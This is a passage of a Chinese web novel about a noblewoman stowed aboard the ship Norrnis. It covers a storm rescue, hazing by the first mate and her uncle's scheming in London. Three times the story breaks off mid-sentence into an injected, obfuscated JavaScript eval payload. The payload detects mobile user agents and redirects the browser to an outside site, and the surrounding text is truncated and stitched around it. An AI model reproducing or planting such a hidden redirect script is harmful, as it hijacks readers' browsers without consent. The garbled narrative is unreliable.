那句“滚回舱里去”的咆哮还哽在喉间,而她那句“跪下来求我递木板”的锋利回击,如同冰冷的匕首,狠狠扎在他引以为傲的专业自负之上。 压舱水隐患爆发,船体濒临倾覆,货舱进水,救生艇险毁……她预言的一切,正在上演。 而拯救这危局的第一个关键节点,竟是由这个被他视为“麻烦包裹”、“纸上谈兵”、“该待在舞厅”的贵族小姐,用一条丝带完成的。 脚下的诺尔尼斯号仍在狂暴的大海中痛苦呻吟、挣扎。 更大的危机如同潜伏在墨黑深渊下的巨兽,随时可能给予致命一击。 而江熠知道,这场风暴,才刚刚开始。 他和她之间,那堵由偏见和傲慢筑起的高墙,也在这一刻,被狂风巨浪和一条染污的丝绸腰带,撕开了一道巨大的、无法忽视的裂口。 他猛地转回头,不再看她,而是用尽全身力气嘶吼出新的舵令,试图将船头艰难地对准下一个扑来的巨浪。 只是那吼声中,少了几分绝对的掌控,多了一丝连他自己都未曾察觉的……动摇和急切。 这位西蒙.珀金斯,可真是个……不怕死的大小姐。 4. 被迫协作 风暴的巨口非但没有闭合,反而撕咬得更加疯狂。 船只货舱口如同一个贪婪的、永不满足的伤口,墨绿色的海水混合着漂浮的货箱碎片、断裂的绳索,正以肉眼可见的速度汹涌灌入。 每一次船体的剧烈摇晃,都让这裂口撕扯得更大,发出令人牙酸的金属扭曲声。 冰冷的海水已漫过小腿肚,并且还在快速上涨。 绝望如同冰冷的潮水,比海水更快地淹没了每一个在货舱中奋战的水手的心。 威廉船长被搀扶着靠在相对干燥的货箱上,脸色惨白,腿伤让他无法亲自下水,只能嘶哑地指挥着:“堵住!用木板!压舱沙袋!快!” 但水压太大,堵上去的材料瞬间就被冲开或吸走,货舱的进水警报如同垂死巨兽的哀鸣,一声比一声凄厉,敲打着所有人的神经。 “不行船长!!堵不住——” “救命——” 就在这时,于霜跌跌撞撞地冲了进来,浑身湿透,脸色苍白如鬼,但那双鎏金色的眼睛却亮得惊人,如同穿透昏暗的闪电。 她一眼就看清了混乱的中心——那如同泉眼般喷涌海水的狰狞裂口。 更关键的是,她看到了货舱深处,那些原本应该均匀压载、此刻却因为船体反复剧烈倾斜而严重移位、堆积在右舷一侧的沉重铅锭。 重心,压舱水失控叠加铅锭移位。 父亲日志里关于配重失衡导致复原力矩崩溃的警告,如同烙印般灼烫着她的思维。 “铅锭!”她对着威廉船长和周围慌乱的水手嘶声大喊,声音穿透水声和警报,“左舷,把左舷的铅锭,全部搬到裂口正下方!快!” 威廉船长一愣,随即眼中迸发出醒悟的光芒。 “对!配重,用铅锭压住裂口,快!听珀金斯小姐的,搬铅锭,左舷的!” 老船长的命令带着绝境中的希望。 但铅锭沉重无比,在剧烈摇晃、水深及膝的货舱里移动它们,无异于与死神拔河。 水手们奋力尝试,但进展缓慢,绝望再次蔓延。 “贝利!!”威廉船长对着传声筒嘶吼,“货舱!需要力量!!” 与此同时,甲板上的地狱景象并未停歇。 就在江熠单臂与疯狂舵轮搏斗,对抗着又一个扑来的浪头时,一声带着哭腔的、极其年轻的嘶喊刺破风浪: “救命!副船长!救我!!” 只见少年水手吉勒在刚才巨浪的冲刷中,被冲离了固定物。 他死死抱着一卷漂浮的缆绳,身体却被汹涌的回流卷向船尾边缘一个被巨浪撕裂的、敞开的污水排放口。 那洞口如同怪物的喉咙,一旦被吸入,瞬间就会被搅碎或拖入深海。 “小吉勒!”威廉船长通过传声筒也听到了呼救声,他猛然大喊。 江熠心脏骤停,一边是货舱告急漏水,一边是吉勒命悬一线,但他却不能同时分身。 于霜没有丝毫犹豫,对着威廉船长和水手们吼道:“按计划搬铅锭!等贝利!” 随即,她提裙一跨,再次冲出灌水的货舱,扑向风雨飘摇、极度危险的甲板。 江熠瞬间明白了她意图,转身,他对着旁边一个死死抱住舵轮基座、勉强能稳住身形的老舵手吼道:“稳住!尽你所能!” 接着,他松开舵轮,在剧烈倾斜的甲板上几个飞跃,抓住湿滑的扶手,直接从领航台滑入下层甲板通道,冲进了汹涌灌水的货舱。 于霜一眼就看到了在污水口漩涡边缘挣扎的吉勒。 但钩索无法投掷,距离太远,她看准了吉勒和污水口之间一段被巨浪冲刷后短暂显露的湿滑甲板。 “吉勒!松手,向我这边跳!”于霜嘶声大喊,同时从怀里贴身口袋中,猛地抽出了那三张一直被她小心保护的、卷成筒状的空白牛皮纸。 “接住这个!抓住!”她将牛皮纸筒用尽全力,朝着吉勒即将被卷入漩涡的方向抛去,纸筒在狂风中划过一道无力的弧线。 “快点——” 吉勒在绝望中爆发出最后的力量,他猛地松开缆绳,朝着那飞来的、微不足道的纸筒奋力一跃。 “噗通!”他重重摔在湿滑的甲板上,冰冷的海水呛入口鼻,但一只手死死地抓住了那卷牛皮纸筒。 这短暂的阻滞和纸筒提供的微小浮力,为他赢得了零点几秒。 就是这零点几秒,旁边一个刚从甲板上冲过来的老水手,眼疾手快地甩出腰间盘着的备用绳索。 “唰!”绳圈精准地套住了吉勒的身体,众人齐声呐喊,将他从死亡边缘硬生生拖了回来。 “咳咳…谢…谢谢您…珀金斯小姐…”吉勒蜷在于霜身边,小脸惨白如纸,身体抖如筛糠,但那双望向于霜的眼睛,却亮得惊人。 “是您救了我……我,我永远都不会忘记的……您是我的恩人!” 于霜也脱力地跪倒在湿冷的甲板上,剧烈喘息。 她眼角的余光似乎瞥见——最外层那张被浪沫彻底打湿的牛皮纸边缘,在昏暗的光线下,隐约浮现出一道极其细小的、扭曲蜿蜒的、如同神秘海蛇般的幽蓝色纹路! 潮汐标记?! 她心头一震,来不及多想,将将吉勒半拖向舱门:“能走吗?坚持住!” “我…我能!珀金斯小姐!”吉勒咬紧牙关,努力想站直,眼神却始终追随着她,充满了毫无保留的信任与崇拜。 舱门打开,接应水手扶住吉勒,少年却回头嘶喊:“您小心!珀金斯小姐!” 于霜点头,转身再次冲进货舱。 货舱内,江熠如同战神降临,他浑身湿透,虎口的伤口被海水泡得发白,却爆发出骇人的力量。 他正指挥着最强壮的水手,将一块半吨重的铅锭艰难地推向裂口。 “位置——”他朝着冲进来的于霜嘶吼。 他高大的身躯如同定海神针,瞬间稳住了周围水手的慌乱。 “裂口正下方,叠三层!快!”于霜指向货舱底部那个喷涌点,语速极快。 她回忆起父亲日志中对利用重物应急堵漏所需配重的精确计算,将指令精准到位置和层数。 “跟我上。”江熠一声暴喝,如同头狼的咆哮。 他率先冲向一个半吨重的铅锭,腰马下沉,手臂青筋爆起,竟以一人之力,将沉重的铅锭猛地从泥泞的舱底抬起一角。 旁边几个最强壮的水手如梦初醒,嚎叫着扑上来合力。 “一!二!三!走!!”江熠嘶吼着号子,协调着众人的发力节奏。 沉重的铅锭在齐腰深、剧烈晃动的海水中艰难移动。 每一步都如同跋涉在泥潭地狱。 江熠是绝对的核心,他用肩膀抵,用手臂扛,用腿蹬,用尽全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221548|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身每一块肌肉的力量和数年航海过程中对重心、力道的极致掌控,引导着铅锭的走向。 于霜则死死盯着裂口和水流,不断微调着指令。 “左偏半米!再往前!稳住!放!!” 她的声音在嘈杂中异常清晰,成为黑暗中的唯一坐标。 终于!第一块沉重的铅锭被众人合力推到了裂口正上方,轰然沉入水底,死死压住了部分喷涌的水流,水势瞬间减弱了一分。 “再来,第二块!右舷还有,搬过来!”于霜精神一振,嘶声指挥。 江熠抹了把脸上的海水和汗水,喘息如牛,但眼神更加锐利,再次冲向另一块铅锭。 一块、两块、三块! 在江熠惊人的力量和于霜毫厘不差的精准定位指挥下,沉重的铅锭被一块块艰难地移动到指定位置,层层叠压在狰狞的裂口之上。 当最后一块铅锭在江熠的暴喝声中轰然落下,死死嵌合进前几块之间时—— 那疯狂喷涌的海水,奇迹般地被压制到了只剩下几股涓涓细流。 巨大的水压被沉重的铅锭群牢牢锁死。 “堵…堵住了?!”一个水手难以置信地喃喃道。 货舱里的水位,停止了上涨。 片刻的死寂后,爆发出劫后余生的、带着哭腔的狂喜欢呼。 “堵住了!!” “我们做到了!珀金斯小姐!副船长!!” “上帝啊,我们成功了!” 威廉船长靠在货箱上,老泪纵横,看着在船上欢呼的大家,嘴唇哆嗦着说不出话。 江熠站在齐腰深、冰冷的海水中,胸膛剧烈起伏,虎口的裂伤被海水泡得发白,右臂因过度发力而不受控制地颤抖。 他抬起头,目光穿过欢呼的人群,精准地锁定了同样脱力地扶着货箱喘息、脸色苍白却带着一丝胜利微笑的于霜。 他朝她极其轻微地点了下头,嘴角似乎极其微弱地扯动了一下。 就在这时—— 一道微弱却真实的、带着暖意的银白色光柱,骤然刺穿了厚重云层边缘一丝极其细微的裂缝。 那亿万疯兽般尖啸的狂风,毫无征兆地减弱了一丝。 蓝黑色沸腾的海面上,那些如同鬼爪般混乱撕扯的浪峰,开始变得相对平缓、绵长。 船体虽然仍在摇晃,但那种令人绝望的、毫无规律的致命复合摇晃,被一种更具韵律的起伏所取代。 “风…风小了!” “太阳要出来了!” “浪也停稳了!” 希望瞬间点燃了每一双眼睛。 少男吉勒紧紧抱着老水手的手臂,在安全处望着货舱方向,眼中充满了感激和后怕。 于霜靠在冰冷的货箱上。她下意识地摸向怀里——那卷牛皮纸筒。 还在。 在货舱昏暗摇曳的灯光下,她忍不住飞快地抽出最外层那张,展开一角。 果然,纸张被水浸透的部分,那道幽蓝色纹路变得更加清晰,并延伸出几条细微分支,透出古老海图标记潮汐通道的神秘韵味。 但现在还不是探究的时候。她迅速将纸卷好塞回,目光再次投向那个站在冰冷海水中,正沉默地检查着铅锭稳固性的高大身影,以及舷窗外那片虽然依旧阴沉、却已透出第一缕微光的天空。 暴风雨,终于结束了。 5. 潮汐初显 暴风雨的怒吼终于被海浪疲惫的叹息取代。 诺尔尼斯号如同一头伤痕累累的巨兽,漂浮在渐渐平静却依旧灰暗的海面上。 云层透出了几道缝隙,柔和的阳光从里面射向甲板。 甲板此时一片狼藉,断裂的绳索,碎开的木桶,似乎都在说明着这暴风雨的猛烈。 水手们就像从地狱爬回来的幽灵,他们的脸上混杂着疲惫、麻木和一丝侥幸。 他们沉默地、机械地忙碌着:用能找到的一切东西加固破损的舱门,将散落的物资归拢,用木楔和浸透柏油的帆布紧急修补被巨浪撕裂的货舱口缝隙。 船医汉森的小小医疗角挤满了人。 “啊——汉森——你就不能给我弄点鸦片止止疼?” 汉森正用酒精为一个水手清洗手臂上深可见骨的伤口,他咬牙切齿:“能别叫嚷了吗?东西全被海水冲走,你让我上哪儿给你止疼?有棉签酒精就不错了。” “可是——” “闭上你的臭嘴,再吵就把你扔进海里喂鲨鱼!” “你……!” 那水手只能咬紧牙关,豆大的汗珠从额头滚落。 船医的身后排满了受伤的水手,空气中弥漫着浓烈的血腥味和酒精刺鼻的气息。 - 相对安静的左舷一角,远离了主要的活动区域。 江熠背靠着冰冷的船舱壁,坐在地上。 他撕下一条相对干净的里衬布条,正皱着眉头,试图单手将布条缠绕在左小臂上一道不算深但皮肉翻卷的伤口上。 血水混着海水,将深色的布料染成更深的暗红。 他动作有些笨拙,牙关紧咬,额角渗出汗珠,显然牵扯到了其他在搏斗中拉伤的肌肉。 即使这样,他依旧一声不吭。 不远处,于霜蜷坐在一个翻倒的木桶旁。 她脸色惨白如纸,嘴唇毫无血色,身体控制不住地微微颤抖。 刚才那番搏命救援和生死预警似乎耗尽了她的最后一丝力气,剧烈的晕船反应在风暴平息后反而变本加厉地反扑上来。 她抱着一个空木桶,刚刚才吐完最后一点胃里的东西,此刻只剩下痛苦的干呕和剧烈的喘息,整个人虚脱得仿佛一碰就会碎掉。 两人之间隔着几步的距离,沉默如同重锤,沉重地压在湿漉漉的甲板上。 只有海风呜咽着穿过破损的索具,发出单调的声响。 江熠包扎的动作停顿了一下。 他漆黑的眼眸无声而锐利地落在于霜身上,定格在她用来擦拭嘴角污渍和脸颊上不知何时划出的一道细小血痕的那块布条上—— 那布条边缘,依稀可见繁复精美的藤蔓与玫瑰刺绣,虽然被血污和海水浸染得模糊,却依然透露出它曾经的价值和不凡的出身。 就在这时,于霜似乎也感觉到了那如有实质的目光。 她喘息稍定,鎏金色的瞳孔抬起,迎上了江熠的视线。 她的目光没有闪避,反而有一种近乎审视的锐利,落在了他正试图包扎的手臂上。 那手臂肌肉线条流畅有力,但靠近手肘内侧,一道陈旧的、狰狞的暗红色鞭痕清晰可见,如同丑陋的蜈蚣盘踞在古铜色的皮肤上。 那不是普通水手会留下的伤痕。 沉默在无声的观察中被拉得更长,空气仿佛凝固。 最终,是江熠打破了这令人窒息的寂静。 他的声音低沉沙哑,带着搏斗后的疲惫和一丝不易察觉的别扭:“刚才……谢了。” 没有她,这艘船和所有人,包括他自己,恐怕都已葬身海底。 于霜扯了扯嘴角,牵动了脸上的细小伤口,带来一丝刺痛。 她用布条轻轻地擦去脸上的污渍,背也慢慢挺直。 “扯平了,贝利先生。”她抬眼,鎏金色的眸子直视着他,“你也没让我喂鲨鱼。” 江熠的眉头几不可察地皱了一下。 这句“扯平了”带着刺,也带着一种划清界限的冷漠。 他喉头滚动了一下,似乎想说什么,但最终只是抿紧了薄唇,低头更加用力地拉扯着臂上的布条,仿佛那布条跟他有仇似的。 于霜不再看他,她靠着冰冷的木桶,艰难地喘息了几口,似乎在积攒力气。 然后,在江熠略带疑惑的目光注视下,她颤抖着、极其缓慢地从怀里——那件破烂绸裙内一个隐蔽的小口袋里——掏出了两样东西。 一个是只有巴掌大小、镶嵌着贝壳的精致小圆镜。 镜面上有几道裂痕,映出她苍白得吓人、沾着污迹的脸。 另一件,是一个小巧的、用深色木头旋成的圆管。 她拧开盖子,里面是半截凝固的、颜色深红近褐的东西——是手工制成的天然口红。 江熠的眼神瞬间变得极其复杂,混合着难以置信和一丝荒谬的嘲弄。 都什么时候了,她居然……在掏化妆品? 就在这时,于霜似乎连拿稳镜子的力气都没有,小圆镜“啪嗒”一声掉落在湿漉漉的甲板上。 她看都没看,只是费力地拧开口红盖子,用颤抖的手指,蘸取了一点那深红色的膏体。 江熠看着她在虚脱中仍固执地试图将那抹颜色涂上苍白干裂的嘴唇,动作笨拙而费力,终于忍不住,抓起脚边一个半满的淡水袋,带着一丝粗暴的力道,“咚”地一声扔到她旁边的甲板上。 “死要面子。”他的语气带着毫不掩饰的嘲讽。 淡水袋滚到于霜手边。 她涂抹的动作顿住了,可她没有立刻去捡水袋,反而抬起眼。 那双鎏金色的眸子,因为虚弱而显得有些涣散。 她盯着江熠,嘴角极其缓慢地向上扯出一个近乎偏执的微笑。 她将指尖最后一点红色,用力、仔细地涂匀在苍白的下唇上。 那抹深红在她惨白的脸上,如同伤口中涌出的新鲜血液,妩媚而刺眼。 “这不是面子,贝利先生。”她的声音很轻,却像淬了冰的针,清晰地扎进江熠的耳中,“这是武器。” 她停顿了一下,目光扫过他手臂上的旧鞭痕,又落回他脸上,笑容加深,带着一种疯狂的挑衅,“等你被海盗揍趴下的时候,我会踩着你的血——再补一遍妆。” 江熠似是被气笑了,意外的平静。 “那你就试试看。” 于霜不再看他,靠在木桶边闭上了眼睛。 深夜。 船员们大多已精疲力竭地倒在相对干燥的角落沉沉睡去,鼾声和呻吟声此起彼伏。 只有值夜的水手抱着武器,在破损的甲板上警惕地巡逻。 于霜在房间里点燃了一小截残存的蜡烛,微弱的光晕勉强照亮她面前摊开的东西。 她急切地抽出最外层那张牛皮纸,借着烛光仔细审视。 然而,白天在阳光下清晰浮现的那道扭曲的幽蓝纹路——消失了。 纸面上空空如也,仿佛那惊鸿一瞥只是她的幻觉。 一股冰冷的失望瞬间攫住了她。 难道潮汐标记是一次性的?还是需要特定的条件? 不,父亲绝不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她用牙齿咬住笔帽,侧头,用力一扯。 “咔嗒”一声轻响,笔帽被咬开,露出乌黑的金属笔尖。 就着摇曳昏黄的烛光,她颤抖着手,翻开自己的日志本。 纸页湿软,吸饱了咸腥的海水气息,书写变得异常滞涩。 她深吸一口气,强迫自己稳住手腕,让笔尖艰难地在潮湿的纸页上移动,留下深蓝近黑的墨迹。 于霜简单描述了暴风雨中的危机,笔头在写到“贝利”两个字的时候蓦然停住,笔尖在纸上留下了一团深蓝近黑的墨迹晕染。 贝利。 她没来由地轻哼一声。 傲慢又迂腐的东方男人,他手臂上丑陋的旧鞭痕,绝非普通水手所有。 是个危险的变数。 她必须利用他,也必须防备他。 “盐是钥匙。海是谜面。而我,别无选择。——于霜” 笔尖在最后一个字上顿住,于霜盯着这行字——缓缓合上日志本,将它紧紧贴在胸口。 仿佛这样就能汲取到一丝力量,去对抗这无边的黑夜和深不可测的未来。 窗外,海浪拍打着船身,发出单调而永恒的叹息。 海面之下,必有答案。 6. 收入囊中 暴风雨的余威如同退潮般缓慢消散。 诺尔尼斯号拖着伤痕累累的身躯,在灰蓝色的海面上艰难航行。 甲板上,水手们正忙着清理最后的狼藉,锤打声和拖动重物的摩擦声交织。 “西蒙小姐!”少年吉勒的声音带着劫后余生的雀跃,他小跑到倚在背风处看书的于霜身边, “威廉船长宣布了,三天后靠‘岩爪湾’修船,我们有救了!” 他兴奋地指着主桅杆上那块被巨风撕裂、此刻用粗糙麻绳和木钉勉强固定的巨大帆布裂口,眼神充满热切,“您之前说的……贵族刺绣针法补帆,真的比我们瞎缠强吗?那我能学吗?” 于霜从破旧的航海日志上抬起眼,鎏金色的眸子挑剔地扫过那块丑陋的“补丁”。 “不是‘强’,吉勒,”她声音平淡,带着一丝天生的优越,“是天壤之别。用正确的针脚和股线,缝合的帆布受力均匀,不易二次撕裂,也更经得起风。” 她顿了顿,看着少年眼中纯粹的崇拜和渴望,嘴角勾起一丝几不可察的弧度,“……靠岸后,找结实点的亚麻线和粗针。我可以教你几针。” “真的?!谢谢您,西蒙小姐!我一定找到!”吉勒欢呼雀跃,像只撒欢的小狗,“我保证学得又快又好!让咱们的帆比新买的还漂亮!” 他拍着胸脯跑开,但跑出几步又猛地折返,变戏法似的从怀里掏出一个还冒着热气的、坑坑洼洼的锡杯,脸上带着点讨好的羞赧。 “那个……西蒙小姐,您……您要不要喝点?厨师汤姆偷偷煮的,加了糖的热可可!他说您……您帮了大忙,风暴时稳住厨房没让锅飞起来砸死人……” 吉勒说着,大大咧咧地就要把杯子往于霜手里塞。 于霜的目光落在杯子上,又缓缓移到吉勒那沾着油污、指甲缝里全是黑泥的手上。 她没接,只是微微抬了抬下巴,鎏金色的眸子带着一丝不容置疑的清冷:“吉勒。” “啊?”吉勒不明所以,端着杯子的手停在半空。 “手。”于霜只吐出一个字。 吉勒困惑地看了看自己的手,又看看杯子,似乎明白了什么,脸一下子涨红了,结结巴巴:“对、对不起,西蒙小姐!我……我手脏……” 他下意识想用袖子擦擦手。 “不是脏。”于霜打断他,声音依旧平淡,“是姿态。” 她伸出自己即使经历风暴、依旧保持着某种优雅习惯的手,做了个虚托的动作。 “像这样。掌心向上,平稳托住杯底。手指并拢,不要像抓鱼叉一样握着它。杯口递向对方的时候,记得微微倾斜,方便对方接取,而不是硬塞。” 她看着吉勒笨拙地模仿着,那杯热可可在他努力平稳的手掌里晃得厉害。 “这样……这样可以吗?”吉勒屏住呼吸,努力维持着那别扭的姿势,手臂都僵硬了。 于霜看了几秒,终于伸出手,用指尖轻轻捏住了杯耳,动作流畅自然。 她没看吉勒,只是淡淡地说:“……勉强及格。下次再这样递东西,我才考虑喝。” 她低头,小口啜饮了一口那甜得发腻、带着点焦糊味的可可,眉头几不可察地蹙了一下,但终究没放下杯子。 就在吉勒准备松口气时,于霜的另一只手随意地探入她旧外套的口袋里,摸索了一下,然后随手一递。 她白皙的掌心里,躺着一颗小小的、包裹在闪亮玻璃纸里的琥珀色硬糖。 糖果在灰暗的甲板背景下,折射出一点诱人的微光。 “喏。”她的语气依然没什么起伏,仿佛只是随手递出一块小石子。 吉勒彻底愣住了,眼睛瞪得溜圆,难以置信地看着那颗糖果,又看看于霜如瓷器般细腻的脸。 这……这是奖励? 他下意识地伸出脏兮兮的手想去拿,又猛地缩回,在自己裤子上使劲蹭了蹭,才小心翼翼地、学着刚才于霜教的“姿态”,用还算干净的掌心稳稳接住那颗小小的、珍贵的糖果。 “谢、谢谢西蒙小姐!”吉勒的声音激动得发颤,脸上瞬间爆发出巨大的惊喜,比刚才听到能学针法还要开心百倍。 他紧紧攥着那颗糖,像捧着什么稀世珍宝,“我……我下次一定端得更好!我保证!” 他语无伦次地保证着,脸上是纯粹的、毫不掩饰的快乐。 于霜只是“嗯”了一声,目光重新落回书页上,仿佛刚才什么都没发生。 吉勒却像得到了天大的恩赐,一步三回头、珍重地把糖果藏进最里层口袋,才蹦蹦跳跳地跑开,干劲十足地去执行他的整理大业。 不远处,江熠正和威廉船长低声交谈,目光却不由自主地扫向这边。 看着吉勒那副欢天喜地、笨拙模仿贵族礼仪的样子,又瞥见于霜接过杯子时那副理所当然、带着点挑剔的优雅姿态,以及她变戏法似的掏出一颗糖、吉勒接过糖时那副受宠若惊的狂喜模样,他墨黑的眼底掠过一丝难以言喻的情绪。 这个麻烦包裹,似乎总能以意想不到的方式……搅动气氛,甚至开始“收买”他的船员了? 她究竟想干什么? 江熠结束谈话,迈步走向于霜。高大的身影在她面前投下阴影。 “珀金斯。”他的声音依旧冷硬,但少了些之前的纯粹命令感。 于霜懒懒抬眼,手中还端着那杯廉价的热可可:“有何指教,副船长先生?” 江熠的目光在她脸上停留了一瞬,似乎在评估她略显苍白的脸色,然后才移开,公事公办地说:“风暴里,你的眼睛和脑子……没拖后腿。” 他停顿了一下,似乎在斟酌词句,语气略显生硬,“威廉船长点了头。从今天起,你算诺尔尼斯号的正式船员了。” 于霜挑了挑眉,鎏金色的眸子直视着他,带着一丝了然:“所以?” 江熠的下巴朝船尾方向抬了抬,那里是船上气味最不美妙的地方。 “新船员的第一个活儿,”他的声音带着一丝刻意的平淡,仿佛在陈述最普通的工作安排,“去把船尾的马桶刷干净,刷彻底点,这是规矩。” 他刻意避开了“刷到能照人影”这种过分羞辱的措辞,但任务本身依然足够刁难。 周围几个竖起耳朵的水手交换着眼神,有同情,也有好奇这位“贵族小姐”会如何反应。 于霜的脸上没有屈辱,反而缓缓绽开一个几乎玩味的浅笑,仿佛听到了什么有趣的事情。 “规矩?” 她轻轻重复,将手中的锡杯随意放在脚边的木桶上,站起身,优雅地掸了掸不存在的灰尘,“遵命,副船长先生。” 她的声音轻飘飘的,却像带着钩子。 在所有人略带惊愕的注视下,她走向船尾。 片刻后,她回来,手里拎着那个沉重、湿漉漉的马桶。 然后,她慢条斯理地从怀里掏出一双深酒红色的厚实丝绒手套,仔细地、一丝不苟地戴上。 接下来的场景,让所有偷看的人都有些恍惚。 于霜面无表情,动作标准而用力地刷洗着那个污秽的马桶。 丝绒手套很快被脏水和刷子磨损,但她毫不在意。 当最后一遍清水冲过,桶壁在阳光下反射出铮亮的光泽时,连最挑剔的老水手都忍不住啧了一声。 于霜拎着光洁如新的桶,径直走到江熠面前,微微歪头,脸上带着一种纯真又极具杀伤力的疑惑:“满意了吗,贝利先生?” 她甚至煞有介事地低头看了看桶壁,慢悠悠补充道,“或者……还需要我打层蜡?我记得杂物舱里好像有蜂蜡。” “噗!”这次是吉勒没忍住笑出了声,赶紧捂住嘴。 江熠的脸色瞬间变得极其精彩。 他看着那个锃亮的桶,再看看于霜戴着破损丝绒手套的手和她脸上那副气死人不偿命的无辜表情,一股闷气堵在胸口。 他预想她会反抗、会屈辱,却没想到她用这种近乎荒诞的优雅完成了任务,还反过来将了他一军! “……不用了。”他几乎是咬着牙挤出这三个字,声音干涩。 他强迫自己移开目光,不再看那个刺眼的桶和她唇边那抹若有若无的、胜利般的弧度。 他感觉自己的耳根似乎有点发热。 “看来我做的很好,”于霜戏谑般地调侃,“就连‘规矩’先生都挑不出任何问题。” 就在于霜准备将桶放回原处时,船尾楼上传来了威廉船长洪亮的声音。 “西蒙,到船长室来一趟,关于前天风暴航迹图,还有些细节需要核对。”老船长的语气不容置疑。 “遵命,船长。”于霜立刻收敛了面对江熠时的玩味表情,恢复了公事公办的平静。 她随手将那个刚刚刷得锃亮、此刻却显得有些尴尬的木桶往旁边一放,然后,做了一件让周围水手再次瞪大眼睛的事—— 她利落地摘下那双沾满污渍、被刷子磨损得毛边毕露的深酒红色丝绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,声音带着一丝寒意,“船触了暗礁,沉得那叫一个快!副船长命大,抱着一块破船板漂了三天才被救,可一船兄弟……就没活下来几个。” 水手A和C倒吸一口凉气,脸上露出骇然和了然的表情。 “所以啊,”水手B总结道,眼神瞟向船长室方向,“咱们这位西蒙小姐,风暴里露那一手航海本事,在咱们看来是救了命,在副船长眼里……指不定就是戳了他的肺管子,让他想起了那个害死一船人的混蛋贵族!他能不厌恶?能不刁难?这哪是冲着她这个人,是冲着‘贵族’和‘指手画脚’这六个字去的!” “原来是这样……”水手C恍然大悟,再看远处江熠孤傲的背影时,眼神里多了几分复杂的同情。 而水手A则咂咂嘴:“啧,那这位西蒙小姐可真是……撞枪口上了。副船长那脾气,认准的死理,九头海怪都拉不回来。” 船员们的窃窃私语被海风吹散。 但那段关于沉船、贵族和死亡的往事,却像一道无形的阴影笼罩在甲板上。 当于霜在风暴中精准指出船舱漏水点、展现她那不合时宜的贵族航海知识时,江熠看到的或许不是救命恩人,而是另一个即将带来灾难的、傲慢的幽灵。 江熠站在原地,海风吹动他墨黑的发梢。 他并没有完全听清那些低语,但船员们投向他的、那种混杂着敬畏、同情和一丝探究的目光,让他感到更加烦躁。 他当然知道他们在议论什么。 那段沉船的噩梦,是他心底永不愈合的伤疤。 西蒙.珀金斯的出现,她身上那股挥之不去的贵族气息,以及她在关键时刻展现的、与他厌恶的源头如此相似的“知识”,就像一把盐,狠狠地揉进了那道伤疤里。 他厌恶她吗? 是的,根深蒂固。 但仅仅只是厌恶吗? 风暴中她冷静的鎏金色眼眸,刷马桶时荒诞的优雅,还有此刻…… 他脑海里不受控制地闪过她刚才拎着桶、歪着头问他“满意了吗”时那副该死的表情…… 那股堵在胸口的闷气,似乎又掺杂了些别的东西,让他更加心烦意乱。 他猛地一甩头,仿佛要甩掉这些混乱的思绪,大步走向船舷,目光投向远方灰蓝色的海平线,背影显得更加冷硬和孤绝。 他绝对不会再让那样的事发生。 永远不会。 7. 刻意刁难 伦敦,珀金斯庄园。 厚重的橡木书房内弥漫着雪茄和旧羊皮纸的气息。 佩德克·珀金斯——于霜的叔叔——刚刚结束一场觐见国王与女王的冗长汇报。 他疲惫地揉着眉心,昂贵的丝绸袖口在烛光下泛着深冷的光泽。 仆人轻唤,打断了他的思绪。 “先生,西蒙小姐……她不在庄园里。” 管家的声音带着一丝不易察觉的颤抖,“已经五天了。我们找遍了所有她可能去的地方……” 佩德克拿着雪茄的手一顿,藏在金丝框镜片后的眼神微眯,往身旁一瞥。 “不在?”他声音低沉,听不出情绪,“联系过梅丽莎小姐了吗?说不定我亲爱的侄女和她最好的朋友正形影不离。” 管家毕恭毕敬地递上接通不久的电话听筒,佩德克接过,脸上瞬间堆砌起恰到好处的担忧和慈爱—— 尽管对面的人根本看不见。 “亲爱的梅丽莎?是我,佩德克.珀金斯,西蒙她在你那儿吗?这孩子,一声不响就出门,可急坏我了。” 电话那头传来梅丽莎略显困惑但努力镇定的声音:“佩德克叔叔?西蒙?哦……她,她前几天是跟我提过想去苏格兰高地散散心,说那里空气好……对,散心!可能信号不好,联系不上吧?您别太担心……” 她握紧听筒的手渗出了细汗,谨慎地替于霜打着掩护。 佩德克听着,嘴角勾起一丝冷笑,语气却依然温和。 “她去高地散心了?那地方确实清静,谢谢你了,梅丽莎小姐,如果她有消息,一定要让她立马联系家里,告诉她,我很担心她。” “好,好的,佩德克叔叔,祝您礼拜四愉快。” 佩德克挂断电话,脸上伪装的温情瞬间消失殆尽,只剩下深沉的算计。 突然,书房门被轻轻推开,一个穿着不起眼、但眼神精明的男人闪身进来,低声快速汇报:“先生,查到了。西蒙小姐五天前出现在泰晤士码头,登上了开往新大陆的货船——‘诺尔尼斯号’。” “‘诺尔尼斯号’?”佩德克低声重复,指尖在光滑的红木桌面上轻轻敲击,发出沉闷的笃笃声。 他眼中没有愤怒,反而闪过一丝预料之中的、带着掌控感的微光。 “很好,看来我们的大小姐,不用我亲自动手了。”他微微一笑,那笑容冰冷而笃定,“给‘信天翁’发消息。我们的‘小夜莺’已经上船了,让她飞得更近些,好好看着,随时报告。” 他早已在船上安插了更深的眼线,于霜的主动登船,不过是将猎物送到了他早已布下的网中。 